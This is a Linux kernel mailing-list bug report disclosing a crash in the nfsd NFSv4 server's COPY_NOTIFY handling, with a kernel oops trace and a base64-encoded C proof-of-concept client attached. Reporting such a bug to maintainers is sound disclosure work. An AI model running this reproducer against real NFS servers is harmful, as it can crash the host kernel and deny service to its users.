Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by smtp.lore.kernel.org (Postfix) with ESMTP id 06DA6C433EF for ; Wed, 5 Jan 2022 14:59:23 +0000 (UTC) Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S241170AbiAEO7V (ORCPT ); Wed, 5 Jan 2022 09:59:21 -0500 Received: from outgoing-stata.csail.mit.edu ([128.30.2.210]:43680 "EHLO outgoing-stata.csail.mit.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S236073AbiAEO7T (ORCPT ); Wed, 5 Jan 2022 09:59:19 -0500 Received: from c-73-149-22-248.hsd1.ma.comcast.net ([73.149.22.248] helo=crash.local) by outgoing-stata.csail.mit.edu with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256) (Exim 4.82) (envelope-from ) id 1n57ky-000F7V-Uz; Wed, 05 Jan 2022 09:59:17 -0500 Received: from crash.local (localhost [127.0.0.1]) by crash.local (Postfix) with ESMTP id 7FC3114529BC1; Wed, 5 Jan 2022 09:59:16 -0500 (EST) To: "J. Bruce Fields" , Chuck Lever cc: linux-nfs@vger.kernel.org From: rtm@csail.mit.edu Reply-To: rtm@csail.mit.edu Subject: nfsd v4 server can crash in COPY_NOTIFY MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Date: Wed, 05 Jan 2022 09:59:16 -0500 Message-ID: <7318.1641394756@crash.local> Precedence: bulk List-ID: X-Mailing-List: linux-nfs@vger.kernel.org --=-=-= Content-Type: text/plain If the special ONE stateid is passed to nfs4_preprocess_stateid_op(), it returns status=0 but does not set *cstid. nfsd4_copy_notify() depends on stid being set if status=0, and thus can crash if the client sends the right COPY_NOTIFY RPC. I've attached a demo. # uname -a Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux # cc nfsd_5.c # ./a.out ... [ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008 [ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d [ 35.597781] [] nfs4_alloc_init_cpntf_state+0x94/0xdc [ 35.598576] [] nfsd4_copy_notify+0xf8/0x28e [ 35.599386] [] nfsd4_proc_compound+0x2b6/0x4ee [ 35.600166] [] nfsd_dispatch+0x118/0x174 [ 35.600840] [] svc_process_common+0x2f4/0x56c [ 35.601630] [] svc_process+0xc4/0x102 [ 35.602302] [] nfsd+0xfa/0x162 [ 35.602979] [] kthread+0x124/0x136 [ 35.603668] [] ret_from_exception+0x0/0xc [ 35.604667] ---[ end trace 69f12ad62072e251 ]--- --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=nfsd_5.c Content-Transfer-Encoding: base64 I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN0ZGxpYi5o PgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxz eXMvaW9jdGwuaD4KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4KI2luY2x1ZGUgPHN5cy93YWl0Lmg+ CiNpbmNsdWRlIDxzeXMvcmVzb3VyY2UuaD4KI2luY2x1ZGUgPGFycGEvaW5ldC5oPgojaW5jbHVk ZSA8YXNzZXJ0Lmg+CgojZGVmaW5lIE5BQSAxMjgKdW5zaWduZWQgbG9uZyBsb25nIGFhW05BQV0g PSB7CjB4YzJmZmZmZmZ1bGwsCjB4MHVsbCwKMHhmY2ZmZmZmZjAwMDAwMDAwdWxsLAoweGZhZmZm ZmZmdWxsLAoweGM2ZmZmZmZmMDAwMDAwMDB1bGwsCjB4MHVsbCwKMHgwdWxsLAoweDB1bGwsCjB4 MHVsbCwKMHgwdWxsLAoweDB1bGwsCjB4MHVsbCwKMHgwdWx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paSA8IGlsZW47IG9waSsrKXsKICAgIGludCBvcCA9IHBhcnNlMzIoKTsKICAgIHByaW50Zigi cmVwbHkgZm9yIG9wICVkXG4iLCBvcCk7CiAgICBpZihvcCA9PSA1Myl7CiAgICAgIHBhcnNlX3Nl cXVlbmNlX3JlcGx5KCk7CiAgICB9IGVsc2UgaWYob3AgPT0gNDIpewogICAgICBwYXJzZV9leGNo YW5nZV9pZF9yZXBseSgpOwogICAgfSBlbHNlIGlmKG9wID09IDQzKXsKICAgICAgcGFyc2VfY3Jl YXRlX3Nlc3Npb25fcmVwbHkoKTsKICAgIH0gZWxzZSBpZihvcCA9PSAyNCl7CiAgICAgIHBhcnNl X3B1dHJvb3RmaF9yZXBseSgpOwogICAgfSBlbHNlIGlmKG9wID09IDE1KXsKICAgICAgcGFyc2Vf bG9va3VwX3JlcGx5KCk7CiAgICB9IGVsc2UgaWYob3AgPT0gMTgpewogICAgICBwYXJzZV9vcGVu X3JlcGx5KCk7CiAgICB9IGVsc2UgaWYob3AgPT0gMjYpewogICAgICBpbnQgc3RhdHVzID0gcGFy c2UzMigpOwogICAgICBwcmludGYoInJlYWRkaXIgc3RhdHVzICVkXG4iLCBzdGF0dXMpOwogICAg ICBpZihzdGF0dXMgPT0gMCl7CiAgICAgICAgbG9uZyBsb25nIHZlcmYgPSBwYXJzZTY0KCk7CiAg ICAgICAgaW50IG5lbnRyaWVzID0gcGFyc2UzMigpOwogICAgICAgIGxvbmcgbG9uZyBjb29raWUg PSBwYXJzZTY0KCk7CiAgICAgICAgY2hhciBuYW1lWzEwMjRdOwogICAgICAgIG1lbXNldChuYW1l LCAwLCBzaXplb2YobmFtZSkpOwogICAgICAgIHBhcnNlX29wYXF1ZShuYW1lKTsKICAgICAgICBw cmludGYoInZlcmYgJWxseCAqZW50cmllcyAlZCBjb29raWUgJWxseCBuYW1lICVzXG4iLCB2ZXJm LCBuZW50cmllcywgY29va2llLCBuYW1lKTsKICAgICAgfQogICAgICBicmVhazsKICAgIH0gZ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sKICAgICAgfSBlbHNlIHsKICAgICAgICBwcmludGYoImNhbGxiYWNrIHVua25vd24g b3AgJWRcbiIsIG9wKTsKICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0gZWxzZSB7CiAg ICBwcmludGYoImNhbGxiYWNrOiB1bmtub3duIHByb2MgJWRcbiIsIHByb2MpOwogIH0KICBzZW5k X3NlbmQoKTsKfQoKdm9pZApwYXJzZV9yZXBseShpbnQgcHJvYykKewogIGludCBkZXNpcmVkX3hp ZCA9IHhpZCAtIDE7CiBhZ2FpbjoKICBpZihyZWFkbihzLCAmaWxlbiwgNCkgPCAwKQogICAgcmV0 dXJuOwogIGlsZW4gPSBudG9obChpbGVuKTsKICBpZigoaWxlbiAmIDB4ODAwMDAwMDApID09IDAp CiAgICBwcmludGYoImlsZW4gaXMgbWlzc2luZyAweDgwMDAwMDAwXG4iKTsKICBpbGVuICY9IDB4 N2ZmZmZmZmY7CiAgaWYoaWxlbiA+IHNpemVvZihpYnVmKSl7CiAgICBwcmludGYoImh1Z2UgcGFj a2V0ICVkXG4iLCBpbGVuKTsKICAgIHJldHVybjsKICB9CiAgaWYocmVhZG4ocywgaWJ1ZiwgaWxl bikgPCAwKQogICAgcmV0dXJuOwogIGlpID0gMDsKICBpbnQgeHhpZCA9IHBhcnNlMzIoKTsgLy8g eGlkCiAgaW50IG10eXBlID0gcGFyc2UzMigpOyAvLyAxID0gUkVQTFkKICBpZihtdHlwZSA9PSAw KXsKICAgIC8vIENBTEwgLS0gYSBjYWxsYmFjawogICAgcGFyc2VfY2FsbGJhY2soeHhpZCk7CiAg ICBnb3RvIGFnYWluOwogIH0KICBpZih4eGlkICE9IGRlc2lyZWRfeGlkKXsKICAgIHByaW50Zigi eGlkIG1pc21hdGNoLCB3YW50ZWQgMHgleCwgZ290IDB4JXgsIGlsZW4gJWQsIGlpICVkXG4iLCBk ZXNpcmVkX3hpZCwgeHhpZCwgaWxlbiwgaWkpOwogIH0KICBpZihtdHlwZSAhPSAxKQog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oaW50IGEgPSAwOyBhIDwgYml0d29yZHMqMzI7IGEr Kyl7CiAgICBpZih3b3Jkc1thLzMyXSAmICgxIDw8IChhICUgMzIpKSl7CiAgICAgIGludCB4b2kg PSBvaTsKICAgICAgaWYoYSA9PSAwKXsKICAgICAgICBwdXQzMigyKTsgLy8gIyBiaXRtYXAgd29y ZHMgb2Ygc3VwcG9ydGVkIGF0dHJzCiAgICAgICAgcHV0MzIoMHhmZmZmZmZmZik7CiAgICAgICAg cHV0MzIoMHhmZmZmZmZmZik7CiAgICAgIH0gZWxzZSBpZihhID09IDEpewogICAgICAgIGludCB0 eXBlID0gMTsKICAgICAgICBpZihmaCA9PSAwIHx8IGZoID09IDEpCiAgICAgICAgICB0eXBlID0g MjsKICAgICAgICBwdXQzMih0eXBlKTsgLy8gTkY0RElSPTIgb3IgTkY0UkVHPTEKICAgICAgfSBl bHNlIGlmKGEgPT0gMil7CiAgICAgICAgcHV0MzIoMCk7IC8vIGZoX2V4cGlyZV90eXBlCiAgICAg IH0gZWxzZSBpZihhID09IDMpewogICAgICAgIHB1dDY0KDApOyAvLyBjaGFuZ2UKICAgICAgfSBl bHNlIGlmKGEgPT0gNCl7CiAgICAgICAgcHV0NjQoNDA5NioxMCk7IC8vIHNpemUKICAgICAgfSBl bHNlIGlmKGEgPT0gNSl7CiAgICAgICAgcHV0MzIoMSk7IC8vIGxpbmsgc3VwcG9ydAogICAgICB9 IGVsc2UgaWYoYSA9PSA2KXsKICAgICAgICBwdXQzMigxKTsgLy8gc3ltbGluayBzdXBwb3J0CiAg ICAgIH0gZWxzZSBpZihhID09IDgpewogICAgICAgIHB1dDY0KDEpOyAvLyBmc2lkIG1ham9yCiAg ICAgICAgcHV0NjQoMSk7IC8vIGZzaWQgbWlub3IKICAgICAgfSBlbHNlIGlmKGEgPT0gMTApewog ICAgICAgIHB1dDMyKDEpOyAvLyBsZWFzZSB0aW1lCiAgICAgIH0gZWxzZSBpZihhID09IDExKXsK ICAgICAgICBwdXQzMigwKTsgLy8gcmRhdHRyX2Vycm9yCiAgICAgIH0gZWxzZSBpZihhID09IDEy KXsKICAgICAgICAvLyBBQ0wKICAgICAgICBpbnQgbiA9IDI7CiAgICAgICAgcHV0MzIobik7CiAg ICAgICAgZm9yKGludCBpID0gMDsgaSA8IG47IGkrKyl7CiAgICAgICAgICBwdXQzMigwKTsgLy8g dHlwZQogICAgICAgICAgcHV0MzIoMCk7IC8vIGZsYWcKICAgICAgICAgIHB1dDMyKDApOyAvLyBt YXNrCiAgICAgICAgICBjaGFyIHdob1s5XTsKICAgICAgICAgIG1lbXNldCh3aG8sIDAsIHNpemVv Zih3aG8pKTsKICAgICAgICAgIC8vc3RyY3B5KHdobywgIjEiKTsKICAgICAgICAgIHN0cmNweSh3 aG8sICJPV05FUkAiKTsKICAgICAgICAgIC8vc3RyY3B5KHdobywgIkdST1VQQCIpOwogICAgICAg ICAgcHV0X29wYXF1ZShzdHJsZW4od2hvKSwgd2hvKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSBp ZihhID09IDEzKXsKICAgICAgICBwdXQzMigweGYpOyAvLyBhY2xzdXBwb3J0CiAgICAgIH0gZWxz ZSBpZihhID09IDE5KXsKICAgICAgICAvLyBmaWxlaGFuZGxlCiAgICAgICAgaW50IHhmaCA9IGZo OwogICAgICAgIHB1dF9vcGFxdWUoNCwgKGNoYXIqKSZ4ZmgpOyAvLyBmaAogICAgICB9IGVsc2Ug aWYoYSA9PSAyMCl7CiAgICAgICAgcHV0NjQoZmgpOyAvLyBmaWxlaWQKICAgICAgfSBlbHNlIGlm KGEgPT0gMjQpewogICAgICAgIC8vIGZzX2xvY2F0aW9ucwogICAgICAgIHB1dDMyKDEpOwogICAg ICAgIHB1dF9vcGFxdWUoMTAsICJhYmNkZTEyMzQ1Iik7IC8vIHBhdGhuYW1lNAogICAgICAgIHB1 dDMyKDEpOyAvLyBsb2NhdGlvbnM8PgogICAgICAgIHB1dF9vcGFxdWUoMTAsICJhYmNkZTEyMzQ1 Iik7I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ICAgICAgcHV0NjQoMCk7IC8v IHRpbWUgYWNjZXNzIHNlY29uZHMKICAgICAgICBwdXQzMigwKTsgLy8gbnNlY29uZHMKICAgICAg fSBlbHNlIGlmKGEgPT0gNTEpewogICAgICAgIHB1dDY0KDApOyAvLyB0aW1lIGRlbHRhIHNlY29u ZHMKICAgICAgICBwdXQzMigwKTsgLy8gbnNlY29uZHMKICAgICAgfSBlbHNlIGlmKGEgPT0gNTIp ewogICAgICAgIHB1dDY0KDApOyAvLyB0aW1lIG1ldGFkYXRhIHNlY29uZHMKICAgICAgICBwdXQz MigwKTsgLy8gbnNlY29uZHMKICAgICAgfSBlbHNlIGlmKGEgPT0gNTMpewogICAgICAgIHB1dDY0 KDApOyAvLyB0aW1lIG1vZGlmeSBzZWNvbmRzCiAgICAgICAgcHV0MzIoMCk7IC8vIG5zZWNvbmRz CiAgICAgIH0gZWxzZSBpZihhID09IDU1KXsKICAgICAgICBwdXQ2NCgwKTsgLy8gbW91bnRlZF9v bl9maWxlaWQgPz8/CiAgICAgIH0gZWxzZSBpZihhID09IDYyKXsKICAgICAgICAvLyBmc19sYXlv dXRfdHlwZXMKICAgICAgICBwdXQzMigxKTsKICAgICAgICBwdXQzMigxKTsgLy8gTEFZT1VUNF9O RlNWNF8xX0ZJTEVTCiAgICAgIH0gZWxzZSBpZihhID09IDc1KXsKICAgICAgICAvLyBGQVRUUjRf U1VQUEFUVFJfRVhDTENSRUFUCiAgICAgICAgcHV0MzIoMik7IC8vIGJpdG1hcCBsZW5ndGgKICAg ICAgICBwdXQzMigweGZmZmZmZmZmKTsKICAgICAgICBwdXQzMigweGZmZmZmZmZmKTsKICAgICAg fSBlbHNlIHsKICAgICAgICAvLyB1bmtub3duIGF0dHIsIGRlbGV0ZSBmcm9tIGJpdG1hcC4KICAg ICAgICB3b3Jkc1thLzMyXSAmPSB+KDEgPDwgKGEgJSAzMikpOwogICAgICAgICooaW50Kikob2J1 ZiArIHdvcmQwaSArIDQqKGEvMzIpKSA9IGh0b25sKHdvcmRzW2EvMzJdKTsKICAgICAgfQogICAg fQogIH0KICBmb3IoaW50IGkgPSAwOyBpIDwgMTY7IGkrKykKICAgIHB1dDMyKDB4ZmZmZmZmZmYp OwogICooaW50Kikob2J1ZitsZW5pKSA9IGh0b25sKG9pIC0gbGVuaSAtIDQpOwp9Cgp2b2lkCnB1 dF9mYXR0cjRfaW5uZXIoaW50IHdvcmRzW10pCnsKICBpbnQgYml0d29yZHMgPSAzOwogIHB1dDMy KGJpdHdvcmRzKTsKICBpbnQgd29yZDBpID0gb2k7CiAgZm9yKGludCBpID0gMDsgaSA8IGJpdHdv cmRzOyBpKyspCiAgICBwdXQzMih3b3Jkc1tpXSk7CiAgaW50IGxlbmkgPSBvaTsKICBwdXQzMigw KTsgLy8gcGxhY2Vob2xkZXIgZm9yIHRvdGFsIGxlbmd0aCBvZiBhdHRycwogIGZvcihpbnQgYSA9 IDA7IGEgPCBiaXR3b3JkcyozMjsgYSsrKXsKICAgIGlmKHdvcmRzW2EvMzJdICYgKDEgPDwgKGEg JSAzMikpKXsKICAgICAgaWYoYSA9PSAwKXsKICAgICAgICBpbnQgbiA9IDMgXiAoYWFbYWFpKytd ICYgMHhmKTsKICAgICAgICBwdXQzMihuKTsgLy8gIyBiaXRtYXAgd29yZHMgb2Ygc3VwcG9ydGVk IGF0dHJzCiAgICAgICAgZm9yKGludCBpID0gMDsgaSA8IG47IGkrKyl7CiAgICAgICAgICBwdXQz MigweGZmZmZmZmZmIF4gYWFbYWFpKytdKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSBpZihhID09 IDEpewogICAgICAgIHB1dDMyKDEgXiBhYVthYWkrK10pOyAvLyBORjRESVI9MiBvciBORjRSRUc9 MQogICAgICB9IGVsc2UgaWYoYSA9PSAyKXsKICAgICAgICBwdXQzMihhYVthYWkrK10pOyAvLyBm aF9leHBpcmVfdHlwZQogICAgICB9IGVsc2UgaWYoYSA9PSAzKXsKICAgICAgICBwdXQ2NChhYVth YWkrK10pOyAvLyBjaGFuZ2UKICAgICAgfSBlbHNlIGlmKGEgPT0gNCl7CiAgICAgICAgcHV0NjQo MTAzIF4gYWFbYWFpKytdKTsgLy8gc2l6ZQogICAgICB9IGVsc2UgaWYoYSA9PSA1KXsKICAgICAg ICBwdXQzMihhYVthYWkrK10pOyAvLyBsaW5rIHN1cHBvcnQKICAgICAgfSBlbHNlIGlmKGEgPT0g Nil7CiAgICAgICAgcHV0MzIoYWFbYWFpKytdKTsgLy8gc3ltbGluayBzdXBwb3J0CiAgICAgIH0g ZWxzZSBpZihhID09IDgpewogICAgICAgIHB1dDY0KGFhW2FhaSsrXSk7IC8vIGZzaWQgbWFqb3IK ICAgICAgICBwdXQ2NChhYVthYWkrK10pOyAvLyBmc2lkIG1pbm9yCiAgICAgIH0gZWxzZSBpZihh ID09IDEwKXsKICAgICAgICBwdXQzMihhYVthYWkrK10pOyAvLyBsZWFzZSB0aW1lCiAgICAgIH0g ZWxzZSBpZihhID09IDExKXsKICAgICAgICBwdXQzMihhYVthYWkrK10pOyAvLyByZGF0dHJfZXJy b3IKICAgICAgfSBlbHNlIGlmKGEgPT0gMTIpewogICAgICAgIC8vIEFDTAogICAgICAgIGludCBu ID0gMSBeIGFhW2FhaSsrXTsKICAgICAgICBwdXQzMihuKTsKICAgICAgICBmb3IoaW50IGkgPSAw OyBpIDwgbiAmJiBpIDwgMjsgaSsrKXsKICAgICAgICAgIHB1dDMyKGFhW2FhaSsrXSk7IC8vIHR5 cGUKICAgICAgICAgIHB1dDMyKGFhW2FhaSsrXSk7IC8vIGZsYWcKICAgICAgICAgIHB1dDMyKGFh W2FhaSsrXSk7IC8vIG1hc2sKICAgICAgICAgIGNoYXIgd2hvWzldOwogICAgICAgICAgbWVtc2V0 KHdobywgMCwgc2l6ZW9mKHdobykpOwogICAgICAgICAgLy8gc3RyY3B5KHdobywgIjY1NTM0Iik7 CiAgICAgICAgICBzdHJjcHkod2hvLCAiT1dORVJAIik7CiAgICAgICAgICAqKGxvbmcgbG9uZyop d2hvIF49IGFhW2FhaSsrXTsKICAgICAgICAgIHB1dF9vcGFxdWUoc3RybGVuKHdobyksIHdobyk7 CiAgICAgICAgfQogICAgICB9IGVsc2UgaWYoYSA9PSAxMyl7CiAgICAgICAgcHV0MzIoMHhmIF4g YWFbYWFpKytdKTsgLy8gYWNsc3VwcG9ydAogICAgICB9IGVsc2UgaWYoYSA9PSAxOSl7CiAgICAg ICAgLy8gZmlsZWhhbmRsZQogICAgICAgIGludCBuID0gYWFbYWFpKytdICYgMHhmZjsKICAgICAg ICBwdXRfb3BhcXVlX3JlcGVhdChuLCAneCcpOwogICAgICB9IGVsc2UgaWYoYSA9PSAyMCl7CiAg ICAgICAgcHV0NjQoYWFbYWFpKytdICYgMHgzKTsgLy8gZmlsZWlkCiAgICAgIH0gZWxzZSBpZihh ID09IDI0KXsKICAgICAgICAvLyBmc19sb2NhdGlvbnMKICAgICAgICBwdXRfb3BhcXVlKDEwLCAi YWJjZGUxMjM0NSIpOyAvLyBwYXRobmFtZTQKICAgICAgICBpbnQgbiA9IGFhW2FhaSsrXSAmIDB4 MWY7CiAgICAgICAgcHV0MzIobik7IC8vIGxvY2F0aW9uczw+CiAgICAgICAgZm9yKGludCBpID0g MDsgaSA8IG47IGkrKyl7CiAgICAgICAgICBwdXRfb3BhcXVlX3JlcGVhdChhYVthYWkrK10gJiAw eDFmZiwgJ3gnKTsgLy8gc2VydmVyCiAgICAgICAgICBwdXRfb3BhcXVlX3JlcGVhdChhYVthYWkr K10gJiAweDFmZiwgJ3knKTsgLy8gcm9vdHBhdGgKICAgICAgICB9CiAgICAgIH0gZWxzZSBpZihh ID09IDI3KXsKICAgICAgICBwdXQ2NChhYVthYWkrK10pOyAvLyBtYXggZmlsZSBzaXplCiAgICAg IH0gZWxzZSBpZihhID09IDI4KXsKICAgICAgICBwdXQzMihhYVthYWkrK10pOyAvLyBtYXggbGlu awogICAgICB9IGVsc2UgaWYoYSA9PSAyOSl7CiAgICAgICAgcHV0MzIoYWF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gbnNlY29uZHMKICAgICAgfSBlbHNlIGlmKGEgPT0gNTIpewogICAg ICAgIHB1dDY0KDApOyAvLyB0aW1lIG1ldGFkYXRhIHNlY29uZHMKICAgICAgICBwdXQzMigwKTsg Ly8gbnNlY29uZHMKICAgICAgfSBlbHNlIGlmKGEgPT0gNTMpewogICAgICAgIHB1dDY0KDApOyAv LyB0aW1lIG1vZGlmeSBzZWNvbmRzCiAgICAgICAgcHV0MzIoMCk7IC8vIG5zZWNvbmRzCiAgICAg IH0gZWxzZSBpZihhID09IDU1KXsKICAgICAgICBwdXQ2NChhYVthYWkrK10pOyAvLyBtb3VudGVk X29uX2ZpbGVpZCA/Pz8KICAgICAgfSBlbHNlIGlmKGEgPT0gNjIpewogICAgICAgIC8vIGZzX2xh eW91dF90eXBlcwogICAgICAgIHB1dDMyKGFhW2FhaSsrXSk7CiAgICAgICAgcHV0MzIoYWFbYWFp KytdKTsgLy8gTEFZT1VUNF9ORlNWNF8xX0ZJTEVTCiAgICAgIH0gZWxzZSBpZihhID09IDc1KXsK ICAgICAgICAvLyBGQVRUUjRfU1VQUEFUVFJfRVhDTENSRUFUCiAgICAgICAgaW50IG4gPSBhYVth YWkrK10gJiAweGY7CiAgICAgICAgcHV0MzIobik7IC8vICMgYml0bWFwIHdvcmRzIG9mIHN1cHBv cnRlZCBhdHRycwogICAgICAgIGZvcihpbnQgaSA9IDA7IGkgPCBuOyBpKyspewogICAgICAgICAg cHV0MzIoYWFbYWFpKytdKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgLy8gdW5r bm93biBhdHRyLCBkZWxldGUgZnJvbSBiaXRtYXAuCiAgICAgICAgd29yZHNbYS8zMl0gJj0gfigx IDw8IChhICUgMzIpKTsKICAgICAgICAqKGludCopKG9idWYgKyB3b3JkMGkgKyA0KihhLzMyKSkg PSBodG9ubCh3b3Jkc1thLzMyXSk7CiAgICAgIH0KICAgIH0KICB9CiAgZm9yKGludCBpID0gMDsg aSA8IDE2OyB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